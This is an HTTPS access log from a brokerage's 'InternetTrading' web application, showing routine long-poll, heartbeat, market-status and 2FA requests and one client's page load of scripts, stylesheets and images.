[09/Jan/2026:11:40:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930328385 HTTP/1.1" -
[09/Jan/2026:11:40:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:40:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:41:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930328042 HTTP/1.1" -
[09/Jan/2026:11:41:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930332430 HTTP/1.1" -
[09/Jan/2026:11:41:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930333428 HTTP/1.1" -
[09/Jan/2026:11:41:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930333137 HTTP/1.1" -
[09/Jan/2026:11:41:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930337493 HTTP/1.1" -
[09/Jan/2026:11:41:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930338477 HTTP/1.1" -
[09/Jan/2026:11:41:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930338210 HTTP/1.1" -
[09/Jan/2026:11:41:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930342653 HTTP/1.1" -
[09/Jan/2026:11:41:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930343526 HTTP/1.1" -
[09/Jan/2026:11:41:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930343284 HTTP/1.1" -
[09/Jan/2026:11:41:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:41:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:41:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat2FAService HTTP/1.1" 1
[09/Jan/2026:11:41:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930347798 HTTP/1.1" -
[09/Jan/2026:11:41:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930348567 HTTP/1.1" -
[09/Jan/2026:11:41:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930348417 HTTP/1.1" -
[09/Jan/2026:11:41:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:41:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:41:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:41:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930352942 HTTP/1.1" -
[09/Jan/2026:11:41:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930353589 HTTP/1.1" -
[09/Jan/2026:11:41:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930353485 HTTP/1.1" -
[09/Jan/2026:11:41:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930357990 HTTP/1.1" -
[09/Jan/2026:11:41:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930358609 HTTP/1.1" -
[09/Jan/2026:11:41:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:41:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930358511 HTTP/1.1" -
[09/Jan/2026:11:41:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930363123 HTTP/1.1" -
[09/Jan/2026:11:41:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930363658 HTTP/1.1" -
[09/Jan/2026:11:41:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930363589 HTTP/1.1" -
[09/Jan/2026:11:41:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:41:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 426
[09/Jan/2026:11:41:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:11:41:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:11:41:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767930367850 HTTP/1.1" 3188
